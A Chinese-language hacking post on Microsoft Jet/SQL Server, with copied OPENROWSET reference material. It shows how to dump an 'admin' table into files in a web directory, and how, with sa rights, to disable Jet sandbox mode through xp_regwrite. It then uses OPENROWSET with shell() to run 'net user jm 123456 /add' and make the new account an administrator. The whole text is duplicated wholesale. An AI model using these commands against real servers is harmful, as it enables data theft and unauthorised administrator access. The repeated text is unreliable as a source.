将access查询出的数据导出
SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[""[type;DATABASE=path]]}
destination 欲插入数据的外部表格名称。
tableexpression 表格名称或是被读取数据的表格名称。这个参数可以是一个单一的表格名称,或是一段已经被存储的SQL查询等。
path 包含该表格的完整路径名称。
type 数据库的类型名称, 通常是当数据库部属于Jet database时才会使用。(例如:dBASE III,dBASE IV,Paradox 3.x,Paradox 4.x,或 Btrieve)
例如:下面这两段的意义相同
PartA....FROM Table IN ""[dBASE IV;DATABASE=C:\\\\DBASE\\\\DATA\\\\SALES;];
PartB....FROM Table IN "C:\\\\DBASE\\\\DATA\\\\SALES" "dBASE IV;"
看这里和lake2提出的语句很相似,呵呵,何止相似,应该就是吧!那么我将lake2的第一条语句改为如下内容:
SELECT * into [test] in \'d:\\web\\\' \'dBASE IV;\' from admin
结果在d:\\web目录内生成了一个test.DBF文件,除了生成这种格式,还能生成什么格式呢?根据lake2提到的注册表路径,HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Jet\\4.0
在其下的ISAM Formats\\中显示了 ISAM格式.分别是:
dbase 5.0 dBASE 5 (*.dbf)
dbase III dBASE III (*.dbf)
dabse IV dBASE IV (*.dbf)
excel 3.0 Microsoft Excel 3 (*.xls)
excel 4.0 Microsoft Excel 4 (*.xls)
excel 5.0 Microsoft Excel 5-7 (*.xls)
excel 8.0 Microsoft Excel 97-2000 (*.xls)
exchange 4.0 Exchange() outlook程序
html export HTML 文档 (*.html;*.htm)
html import HTML 文档 (*.html;*.htm)
jet 2.x Jet 2.x
jet 3.x Jet 3.x
lotus wj2 Lotus 1-2-3 WJ2 (*.wj2)
lotus wj3 Lotus
Lotus WK1 Lotus 1-2-3 WK1 (*.wk1)
Lotus WK3 Lotus
Lotus WK4 Lotus
Outlook 9.0 Exchange
Paradox 3.X Paradox 3 (*.db)
Paradox 4.X Paradox 4 (*.db)
Paradox 5.X Paradox 5 (*.db)
Paradox 7.X Paradox 7-8 (*.db)
Text 文本文件 (*.txt;*.csv;*.tab;*.asc)
SELECT * into [test.txt] in \'D:\\php\\asp\\\' \'text;\' from admin
注: 如果数据库名(excel或dbase)中只有一项,那么所生成的名称中就不用加入扩展名,否则如果是text的数据类型,就要加入扩展名。
select * into [user] in \'d:\\web\\\' \'excel 4.0;\' from user
在取得sa权限的时候,先修改注册表:
exec master.dbo.xp_regwrite \'HKEY_LOCAL_MACHINE\',\'Software\\Microsoft\\Jet\\4.0\\Engines\',\'SandBoxmode\',\'REG_DWORD\',0
禁用沙盒模式,然后执行:
select * from openrowset(\'Microsoft.Jet.OLEDB.4.0\',\';database=c:\\windows\\system32\\ias\\ias.mdb\',\'select shell("net user jm 123456 /add")\');
这样就能增加一下jm用户了。然后再加入管理员组,就成管理员了。
附:
OPENROWSET
包含访问 OLE DB 数据源中的远程数据所需的全部连接信息。当访问链接服务器中的表时,这种方法是一种替代方法,并且是一种使用 OLE DB 连接并访问远程数据的一次性的、特殊的方法。可以在查询的 FROM 子句中像引用表名那样引用 OPENROWSET 函数。依据 OLE DB 提供程序的能力,还可以将 OPENROWSET 函数引用为 INSERT、UPDATE 或 DELETE 语句的目标表。尽管查询可能返回多个结果集,然而 OPENROWSET 只返回第一个。
语法
OPENROWSET ( \'provider_name\'
, { \'datasource\' ; \'user_id\' ; \'password\'
| \'provider_string\' }
, { [ catalog.] [ schema.] object
| \'query\' }
)
参数
\'provider_name\'
字符串,它代表在注册表中指定的 OLE DB 提供程序的友好名。provider_name 没有默认值。
\'datasource\'
字符串常量,它对应着某个特定的 OLE DB 数据源。datasource 是将被传递到提供程序 IDBProperties 接口以初始化提供程序的 DBPROP_INIT_DATASOURCE 属性。通常,这个字符串包含数据库文件的名称、数据库服务器的名称,或者提供程序能理解的用于查找数据库的名称。
\'user_id\'
字符串常量,它是传递到指定 OLE DB 提供程序的用户名。user_id 为连接指定安全上下文,并将它作为 DBPROP_AUTH_USERID 属性传递进来以初始化提供程序。
\'password\'
字符串常量,它是将被传递到 OLE DB 提供程序的用户密码。当初始化提供程序时,将 password 作为 DBPROP_AUTH_PASSWORD 属性传递进来。
\'provider_string\'
提供程序特定的连接字符串,将它作为 DBPROP_INIT_PROVIDERSTRING 属性传递进来以初始化 OLE DB 提供程序。通常 provider_string 封装初始化提供程序所需的所有连接信息。
catalog
目录或数据库的名称,其中驻留着指定的对象。
schema
架构的名称或指定对象的对象所有者名称。
object
对象名称,它唯一地标识出将要操作的对象。
\'query\'
是字符串常量,发送到提供程序并由提供程序执行。Microsoft? SQL Server? 不处理该查询,但处理由提供程序返回的查询结果(直接传递查询)。对于有些提供程序,它们并没有通过表名而是通过命令语言表现自己的表格格式数据,那么将直接传递查询用于这些提供程序是非常有用的。只要查询提供程序支持 OLE DB Command 对象及其强制接口,那么在远程服务器上就支持直接传递查询。有关更多信息,请参见 SQL Server OLE DB 程序员参考。
注释
如果 OLE DB 提供程序在指定的数据源中支持多个目录和架构,那么就需要目录及架构名称。如果 OLE DB 提供程序并不支持目录和架构,那么可以省略 catalog 及 schema 的值。
如果提供程序只支持架构名,那么必须指定一个两部分名称,形式为 schema.object。如果提供程序只支持目录名,那么必须指定一个三部分名称,形式为 catalog.schema.object。
OPENROWSET 不接受参数变量。
权限
OPENROWSET 权限由传递到 OLE DB 提供程序的用户名的权限确定。
示例
A. 将 OPENROWSET 与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用
下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器上。从 datasource、user_id 及 password 中初始化提供程序,并且使用 SELECT 语句定义返回的行集。
USE pubs
GO
SELECT a.*
FROM OPENROWSET(\'SQLOLEDB\',\'seattle1\';\'sa\';\'MyPass\',
\'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname\') AS a
GO
B. 将 OPENROWSET 与对象及用于 ODBC 的 OLE DB 提供程序一起使用
下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的 provider_string 进行初始化,定义返回的行集时使用 catalog.schema.object 语法。
USE pubs
GO
SELECT a.*
FROM OPENROWSET(\'MSDASQL\',
\'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass\',
pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GO
C. 使用用于 Jet 的 Microsoft OLE DB 提供程序
下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft Access Northwind 数据库中的 orders 表。
说明 下面的示例假定已经安装了 Access。
USE pubs
GO
SELECT a.*
FROM OPENROWSET(\'Microsoft.Jet.OLEDB.4.0\',
\'c:\\MSOffice\\Access\\Samples\\northwind.mdb\';\'admin\';\'mypwd\', Orders)
AS a
GO
D. 使用 OPENROWSET 和 INNER JOIN 中的另一个表
下面的示例从本地 SQL Server Northwind 数据库的 customers 表中,以及存储在相同计算机上 Access Northwind 数据库的 orders 表中选择所有数据
说明 下面的示例假定已经安装了 Access。
USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOIN
OPENROWSET(\'Microsoft.Jet.OLEDB.4.0\',
\'c:\\MSOffice\\Access\\Samples\\northwind.mdb\';\'admin\';\'mypwd\', Orders)
AS o
ON c.CustomerID = o.CustomerID
GO
destination 欲插入数据的外部表格名称。
tableexpression 表格名称或是被读取数据的表格名称。这个参数可以是一个单一的表格名称,或是一段已经被存储的SQL查询等。
path 包含该表格的完整路径名称。
type 数据库的类型名称, 通常是当数据库部属于Jet database时才会使用。(例如:dBASE III,dBASE IV,Paradox 3.x,Paradox 4.x,或 Btrieve)
例如:下面这两段的意义相同
PartA....FROM Table IN ""[dBASE IV;DATABASE=C:\\\\DBASE\\\\DATA\\\\SALES;];
PartB....FROM Table IN "C:\\\\DBASE\\\\DATA\\\\SALES" "dBASE IV;"
看这里和lake2提出的语句很相似,呵呵,何止相似,应该就是吧!那么我将lake2的第一条语句改为如下内容:
SELECT * into [test] in \'d:\\web\\\' \'dBASE IV;\' from admin
结果在d:\\web目录内生成了一个test.DBF文件,除了生成这种格式,还能生成什么格式呢?根据lake2提到的注册表路径,HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Jet\\4.0
在其下的ISAM Formats\\中显示了 ISAM格式.分别是:
dbase 5.0 dBASE 5 (*.dbf)
dbase III dBASE III (*.dbf)
dabse IV dBASE IV (*.dbf)
excel 3.0 Microsoft Excel 3 (*.xls)
excel 4.0 Microsoft Excel 4 (*.xls)
excel 5.0 Microsoft Excel 5-7 (*.xls)
excel 8.0 Microsoft Excel 97-2000 (*.xls)
exchange 4.0 Exchange() outlook程序
html export HTML 文档 (*.html;*.htm)
html import HTML 文档 (*.html;*.htm)
jet 2.x Jet 2.x
jet 3.x Jet 3.x
lotus wj2 Lotus 1-2-3 WJ2 (*.wj2)
lotus wj3 Lotus
Lotus WK1 Lotus 1-2-3 WK1 (*.wk1)
Lotus WK3 Lotus
Lotus WK4 Lotus
Outlook 9.0 Exchange
Paradox 3.X Paradox 3 (*.db)
Paradox 4.X Paradox 4 (*.db)
Paradox 5.X Paradox 5 (*.db)
Paradox 7.X Paradox 7-8 (*.db)
Text 文本文件 (*.txt;*.csv;*.tab;*.asc)
SELECT * into [test.txt] in \'D:\\php\\asp\\\' \'text;\' from admin
注: 如果数据库名(excel或dbase)中只有一项,那么所生成的名称中就不用加入扩展名,否则如果是text的数据类型,就要加入扩展名。
select * into [user] in \'d:\\web\\\' \'excel 4.0;\' from user
在取得sa权限的时候,先修改注册表:
exec master.dbo.xp_regwrite \'HKEY_LOCAL_MACHINE\',\'Software\\Microsoft\\Jet\\4.0\\Engines\',\'SandBoxmode\',\'REG_DWORD\',0
禁用沙盒模式,然后执行:
select * from openrowset(\'Microsoft.Jet.OLEDB.4.0\',\';database=c:\\windows\\system32\\ias\\ias.mdb\',\'select shell("net user jm 123456 /add")\');
这样就能增加一下jm用户了。然后再加入管理员组,就成管理员了。
附:
OPENROWSET
包含访问 OLE DB 数据源中的远程数据所需的全部连接信息。当访问链接服务器中的表时,这种方法是一种替代方法,并且是一种使用 OLE DB 连接并访问远程数据的一次性的、特殊的方法。可以在查询的 FROM 子句中像引用表名那样引用 OPENROWSET 函数。依据 OLE DB 提供程序的能力,还可以将 OPENROWSET 函数引用为 INSERT、UPDATE 或 DELETE 语句的目标表。尽管查询可能返回多个结果集,然而 OPENROWSET 只返回第一个。
语法
OPENROWSET ( \'provider_name\'
, { \'datasource\' ; \'user_id\' ; \'password\'
| \'provider_string\' }
, { [ catalog.] [ schema.] object
| \'query\' }
)
参数
\'provider_name\'
字符串,它代表在注册表中指定的 OLE DB 提供程序的友好名。provider_name 没有默认值。
\'datasource\'
字符串常量,它对应着某个特定的 OLE DB 数据源。datasource 是将被传递到提供程序 IDBProperties 接口以初始化提供程序的 DBPROP_INIT_DATASOURCE 属性。通常,这个字符串包含数据库文件的名称、数据库服务器的名称,或者提供程序能理解的用于查找数据库的名称。
\'user_id\'
字符串常量,它是传递到指定 OLE DB 提供程序的用户名。user_id 为连接指定安全上下文,并将它作为 DBPROP_AUTH_USERID 属性传递进来以初始化提供程序。
\'password\'
字符串常量,它是将被传递到 OLE DB 提供程序的用户密码。当初始化提供程序时,将 password 作为 DBPROP_AUTH_PASSWORD 属性传递进来。
\'provider_string\'
提供程序特定的连接字符串,将它作为 DBPROP_INIT_PROVIDERSTRING 属性传递进来以初始化 OLE DB 提供程序。通常 provider_string 封装初始化提供程序所需的所有连接信息。
catalog
目录或数据库的名称,其中驻留着指定的对象。
schema
架构的名称或指定对象的对象所有者名称。
object
对象名称,它唯一地标识出将要操作的对象。
\'query\'
是字符串常量,发送到提供程序并由提供程序执行。Microsoft? SQL Server? 不处理该查询,但处理由提供程序返回的查询结果(直接传递查询)。对于有些提供程序,它们并没有通过表名而是通过命令语言表现自己的表格格式数据,那么将直接传递查询用于这些提供程序是非常有用的。只要查询提供程序支持 OLE DB Command 对象及其强制接口,那么在远程服务器上就支持直接传递查询。有关更多信息,请参见 SQL Server OLE DB 程序员参考。
注释
如果 OLE DB 提供程序在指定的数据源中支持多个目录和架构,那么就需要目录及架构名称。如果 OLE DB 提供程序并不支持目录和架构,那么可以省略 catalog 及 schema 的值。
如果提供程序只支持架构名,那么必须指定一个两部分名称,形式为 schema.object。如果提供程序只支持目录名,那么必须指定一个三部分名称,形式为 catalog.schema.object。
OPENROWSET 不接受参数变量。
权限
OPENROWSET 权限由传递到 OLE DB 提供程序的用户名的权限确定。
示例
A. 将 OPENROWSET 与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用
下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器上。从 datasource、user_id 及 password 中初始化提供程序,并且使用 SELECT 语句定义返回的行集。
USE pubs
GO
SELECT a.*
FROM OPENROWSET(\'SQLOLEDB\',\'seattle1\';\'sa\';\'MyPass\',
\'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname\') AS a
GO
B. 将 OPENROWSET 与对象及用于 ODBC 的 OLE DB 提供程序一起使用
下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的 provider_string 进行初始化,定义返回的行集时使用 catalog.schema.object 语法。
USE pubs
GO
SELECT a.*
FROM OPENROWSET(\'MSDASQL\',
\'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass\',
pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GO
C. 使用用于 Jet 的 Microsoft OLE DB 提供程序
下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft Access Northwind 数据库中的 orders 表。
说明 下面的示例假定已经安装了 Access。
USE pubs
GO
SELECT a.*
FROM OPENROWSET(\'Microsoft.Jet.OLEDB.4.0\',
\'c:\\MSOffice\\Access\\Samples\\northwind.mdb\';\'admin\';\'mypwd\', Orders)
AS a
GO
D. 使用 OPENROWSET 和 INNER JOIN 中的另一个表
下面的示例从本地 SQL Server Northwind 数据库的 customers 表中,以及存储在相同计算机上 Access Northwind 数据库的 orders 表中选择所有数据
说明 下面的示例假定已经安装了 Access。
USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOIN
OPENROWSET(\'Microsoft.Jet.OLEDB.4.0\',
\'c:\\MSOffice\\Access\\Samples\\northwind.mdb\';\'admin\';\'mypwd\', Orders)
AS o
ON c.CustomerID = o.CustomerID
GO